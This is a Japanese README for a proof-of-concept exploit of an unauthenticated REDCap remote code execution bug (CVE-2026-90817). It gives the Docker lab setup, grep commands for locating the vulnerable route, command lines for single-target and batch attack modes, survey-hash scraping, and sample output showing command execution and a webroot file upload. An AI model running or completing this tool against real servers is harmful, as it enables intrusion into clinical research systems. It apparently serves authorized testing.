
CVE-2026-90817 の Python PoC。survey passthrough routing と file-path injection を悪用した未認証の REDCap RCE で、Docker ラボと allowlist で保護されたターゲットを備えています。
| 項目 | 値 |
|---|
| CVE | CVE-2026-90817 |
| 製品 | Vanderbilt University REDCap |
| CVSS | 9.8 Critical |
| 認証 | 未認証 (有効な公開アンケートハッシュが必要) |
| 影響を受けるバージョン | REDCap 13.3.0 以降 |
| 修正済み | 16.0.49 LTS、17.3.10 LTS、17.4.4 Standard Release |
| CWE | CWE-73 (ファイル名またはパスの外部制御)、CWE-94 (コードインジェクション) |
攻撃チェーン:
CVE-2026-90817/
├── poc_cve_2026_90817.py # PoC (単一ターゲット、allowlist で保護)
├── docker-compose.yml # MySQL + PHP-Apache ラボスタック
├── redcap-init/
│ ├── database.php # ラボ用 REDCap DB 設定
│ └── php.ini # ラボ用 PHP 設定
├── redcap-src/ # <-- ここに REDCap ソースを展開 (あなたが用意)
├── targets.txt # 許可されたターゲット: 1 行に 1 ホスト
├── payload.txt # アップロードモード用のサンプルファイル
├── requirements.txt # Python 依存関係
└── poc_results.txt # PoC 実行後に生成
REDCap はライセンスされたソフトウェアです。自分のラボ用に公式チャネルを通じて入手する必要があります。
mkdir -p redcap-src
# Extract your redcap.zip contents into redcap-src/
# The directory should contain index.php, redcap_vX.X.X/, etc.
docker compose up -d
MySQL のヘルスチェックが通るまで待ち、次を開きます:
http://localhost:8080
以下のデータベース設定 (redcap-init/database.php に事前設定済み) を使用して REDCap インストールウィザードを完了します:
| 設定 | 値 |
|---|---|
| Host | db |
| Database | redcap |
| User | redcap |
| Password | redcap123 |
s=) 。アンケート URL の例:
http://localhost:8080/surveys/?s=ABC123XYZ
アンケートハッシュ: ABC123XYZ
公開アドバイザリでは、正確なコントローラールートやパラメータ名は開示されていません。ラボをセットアップした後、redcap-src/ に対して RE を実行し、poc_cve_2026_90817.py 内の TODO 定数を記入してください:
VULNERABLE_ROUTE = "TODO_CONTROLLER_ROUTE" # controller route via survey passthrough
FILE_PATH_PARAM = "TODO_FILE_PATH_PARAM" # file-path/stream parameter name
WEBROOT_PATH = "/var/www/html/redcap/" # webroot inside container
UPLOADER_NAME = "x.php" # PHP uploader filename
アンケートパススルールーティングを検索します:
grep -rn "passthrough\|survey.*route\|Routes::" redcap-src/ --include="*.php" | head -50
grep -rn "Controller" redcap-src/ --include="*.php" | grep -i "import\|survey" | head -50
データインポートのファイルパス/ストリーム処理を検索します:
grep -rn "file_path\|file-path\|stream\|DataImport\|data_import" redcap-src/ --include="*.php" | head -50
grep -rn "fopen\|file_get_contents\|include\|require" redcap-src/ --include="*.php" | grep -i "import" | head -50
STAGE1_SUCCESS_MARKER を、ステージ 1 の成功レスポンスに含まれる文字列に設定します (任意ですが推奨) 。
pip install -r requirements.txt
このスクリプトは、ラボホスト (localhost、127.0.0.1、::1、*.local、*.test、*.localhost) でも targets.txt に記載されてもいないターゲットを拒否します。
CVE-2026-90817 は 未認証 です — ログインは不要です。唯一の前提条件は、有効な公開アンケートハッシュ (アンケート URL ?s=HASH から) です。
このツールは、ターゲットの公開ページをスクレイピングすることでアンケートハッシュを 自動検出 できます (ベストエフォート) 。一般的な REDCap エンドポイント (/、/redcap/、/index.php、/surveys/) で /surveys/?s=HASH リンクをチェックします。これは、ターゲットがアンケートリンクを公開している (設定ミスの) 場合にのみ機能します。適切に設定された REDCap インスタンスでは、--hash で手動でハッシュを指定してください。
--hash は任意 (省略時は自動検出)非ラボのターゲットの場合、targets.txt を 1 行に 1 ホスト (FQDN または IP) で作成します。記載されたすべてのホストに対する法的な許可については、あなたが責任を負います。
# targets.txt
redcap.client.example.com
10.0.0.5
192.168.1.100
ハッシュを明示したラボターゲット:
python poc_cve_2026_90817.py \
--target http://localhost:8080 \
--hash ABC123XYZ \
--mode both \
--out poc_results.txt
ハッシュを自動検出するラボターゲット:
python poc_cve_2026_90817.py \
--target http://localhost:8080 \
--mode both \
--out poc_results.txt
--batch を追加すると、targets.txt に記載されたすべてのホストを自動的に攻撃します。このツールは、公開ページをスクレイピングすることでターゲットごとにアンケートハッシュを自動検出します。このツールは開始前にすべてのターゲットを表示し、確認を求めます (スクリプト用にプロンプトをスキップするには --yes を使用) 。
python poc_cve_2026_90817.py \
--batch \
--mode both \
--out poc_results.txt
ポートは --target から継承されます (デフォルト 8080) 。別のポートを使用するには、--batch の前に --target http://placeholder:443/ を設定します。
各ターゲットの結果は出力ファイルに追記されます。最後にサマリーが表示されます: N success, M failed, T total。
| 引数 | デフォルト | 説明 |
|---|---|---|
--target | http://localhost:8080 | ターゲットのベース URL |
--hash | (任意) | 公開アンケートハッシュ。省略時は公開ページのスクレイピングにより自動検出 (ベストエフォート) 。 |
--allowlist | targets.txt | ターゲットファイル、1 行に 1 ホスト |
--batch | off | ターゲットファイル内のすべてのホストを反復してそれぞれを攻撃 |
--yes | off | バッチ確認プロンプトをスキップ |
--mode | both | id、upload、または both |
--out | poc_results.txt | 結果ログファイル |
--timeout | 30 | HTTP タイムアウト (秒) |
--upload-local | payload.txt | アップロードするローカルファイル |
--upload-remote | uploaded_payload.txt | webroot 配下のリモートファイル名 |
--skip-placeholder-check | off | TODO 定数を記入せずに HTTP フローをドライラン |
注: 自動検出は、アンケートリンクを公開しているターゲットでのみ機能します。ほとんどの REDCap インスタンスでは、--hash を手動で指定してください。
成功時、stdout には次が表示されます:
[0xNuts] CVE-2026-90817 PoC -- AUTHORIZED USE ONLY
[0xNuts] You are responsible for legal authorization of every target.
[0xNuts] Using survey hash: ABC123XYZ
[0xNuts] Stage 1: route manipulation -> ...
[0xNuts] Stage 2: file-path injection -> ...
[0xNuts] id output:
uid=33(www-data) gid=33(www-data) groups=33(www-data)
[0xNuts] uploaded to /var/www/html/redcap/uploaded_payload.txt
[0xNuts] Result logged to poc_results.txt
結果は poc_results.txt に追記されます:
[2026-09-21T03:20:00Z]
target=http://localhost:8080/
survey_hash=ABC123XYZ
status=success
id_output=uid=33(www-data) gid=33(www-data) groups=33(www-data)
uploaded_files=/var/www/html/redcap/uploaded_payload.txt
notes=mode=both
------------------------------------------------------------
REDCap 16.0.49 LTS、17.3.10 LTS、または 17.4.4 Standard Release (該当するもの) にアップグレードしてください。
追加のハードニング: